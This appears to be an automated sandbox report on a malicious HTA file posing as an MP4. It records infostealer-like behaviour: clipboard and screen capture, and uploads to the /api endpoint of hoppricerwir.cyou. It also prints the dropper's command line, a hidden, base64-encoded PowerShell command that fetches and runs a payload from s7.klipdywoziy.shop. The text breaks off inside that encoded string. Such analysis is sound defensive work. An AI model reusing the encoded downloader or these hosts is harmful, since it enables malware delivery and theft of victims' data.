Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K15SQR2VVJ40User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1207Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3NIZQHZJL2LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569880Host: hoppricerwir.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: hoppricerwir.cyou

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /hukk7.jpeg HTTP/1.1Host: s7.klipdywoziy.shopConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: s7.klipdywoziy.shop
Source: global traffic	DNS traffic detected: DNS query: hoppricerwir.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hoppricerwir.cyou

Source: powershell.exe, 00000008.00000002.3194952351.0000000007EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000002.00000002.4649505674.000000000600A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2208341368.00000000062B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.4616681102.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2202291886.0000000005241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.00000000049C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.3189944178.00000000070A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000008.00000002.3189944178.00000000070A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c8
Source: powershell.exe, 00000002.00000002.4616681102.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D1A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2202291886.0000000005241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.00000000049C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.3448766867.000000000569C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3438118078.0000000003386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou/
Source: powershell.exe, 0000000E.00000002.3448766867.000000000569C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou/%
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003326000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou/EM
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003388000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3438118078.0000000003326000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou/api
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou/apie
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hoppricerwir.cyou:443/apib-
Source: powershell.exe, 00000002.00000002.4649505674.000000000600A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2208341368.00000000062B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s7.klipdywoziy.shop
Source: powershell.exe, 00000008.00000002.3189944178.0000000007020000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s7.klipdywoziy.shop/hukk7.jpeg

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:50001 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_004367F0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

14_2_004367F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_004367F0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

14_2_004367F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_00436980 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,StretchBlt,ReleaseDC,DeleteObject,DeleteObject,

14_2_00436980

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 5820, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5936, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04B60C62	2_2_04B60C62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00DE0D6A	5_2_00DE0D6A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00DE0AB8	5_2_00DE0AB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04DB0A68	7_2_04DB0A68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BE00B	8_2_009BE00B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BA339	8_2_009BA339
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BA348	8_2_009BA348
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BC698	8_2_009BC698
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B56C0	8_2_009B56C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B6630	8_2_009B6630
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B6640	8_2_009B6640
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B5958	8_2_009B5958
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B5950	8_2_009B5950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BFA30	8_2_009BFA30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009BFA20	8_2_009BFA20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B6BC8	8_2_009B6BC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B84CA0	8_2_06B84CA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043B870	14_2_0043B870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00408880	14_2_00408880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00425100	14_2_00425100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040D545	14_2_0040D545
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00415720	14_2_00415720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00427F30	14_2_00427F30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040CFEC	14_2_0040CFEC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00419840	14_2_00419840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00406850	14_2_00406850
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00427860	14_2_00427860
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00427070	14_2_00427070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00406000	14_2_00406000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043080E	14_2_0043080E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043F820	14_2_0043F820
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041D0C0	14_2_0041D0C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004418A0	14_2_004418A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041194F	14_2_0041194F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043F150	14_2_0043F150
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042B170	14_2_0042B170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00403900	14_2_00403900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00439923	14_2_00439923
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00427133	14_2_00427133
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00433930	14_2_00433930
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004121DB	14_2_004121DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042A9F7	14_2_0042A9F7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040E9B0	14_2_0040E9B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041825B	14_2_0041825B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042EA62	14_2_0042EA62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040CA62	14_2_0040CA62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00442A60	14_2_00442A60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00418A7A	14_2_00418A7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041DAD0	14_2_0041DAD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00429ADE	14_2_00429ADE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00425AF0	14_2_00425AF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004092A0	14_2_004092A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00405AB0	14_2_00405AB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040B2B0	14_2_0040B2B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004042B0	14_2_004042B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043CB40	14_2_0043CB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042EB5F	14_2_0042EB5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00408360	14_2_00408360
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00428B67	14_2_00428B67
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00437B69	14_2_00437B69
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00418B79	14_2_00418B79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00402B20	14_2_00402B20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00418B23	14_2_00418B23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00441B20	14_2_00441B20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00432B24	14_2_00432B24
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004063C0	14_2_004063C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00418BC9	14_2_00418BC9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042DBF0	14_2_0042DBF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00422380	14_2_00422380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041BBA0	14_2_0041BBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042BBA0	14_2_0042BBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042EBA1	14_2_0042EBA1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042EBB3	14_2_0042EBB3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00441BB0	14_2_00441BB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00441C40	14_2_00441C40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00442470	14_2_00442470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00426C76	14_2_00426C76
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041D400	14_2_0041D400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041C400	14_2_0041C400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00417405	14_2_00417405
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00414C20	14_2_00414C20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00432426	14_2_00432426
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00418C2A	14_2_00418C2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00428437	14_2_00428437
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043443D	14_2_0043443D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004354C4	14_2_004354C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00434CEF	14_2_00434CEF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043A4EF	14_2_0043A4EF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004374AB	14_2_004374AB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041DCB0	14_2_0041DCB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043ACB0	14_2_0043ACB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0042FCBC	14_2_0042FCBC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00425D6A	14_2_00425D6A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00435D13	14_2_00435D13
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00442D20	14_2_00442D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043CD27	14_2_0043CD27
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00420D90	14_2_00420D90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0043C5A0	14_2_0043C5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00421E70	14_2_00421E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00436610	14_2_00436610
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00407620	14_2_00407620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040AE30	14_2_0040AE30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041F6D0	14_2_0041F6D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00416ED0	14_2_00416ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041BEE1	14_2_0041BEE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00402EF0	14_2_00402EF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00423EFF	14_2_00423EFF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00431E8E	14_2_00431E8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041A690	14_2_0041A690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0041AF24	14_2_0041AF24
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_0040DFE2	14_2_0040DFE2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004257E0	14_2_004257E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00429FE4	14_2_00429FE4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00409790	14_2_00409790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_004427B0	14_2_004427B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00441FB0	14_2_00441FB0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00414C10 appears 116 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00408170 appears 45 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 5820, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5936, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@17/13@2/2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 14_2_0043B870 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

14_2_0043B870

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3084:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_buc5ncn0.zoj.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\s7.mp4.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlB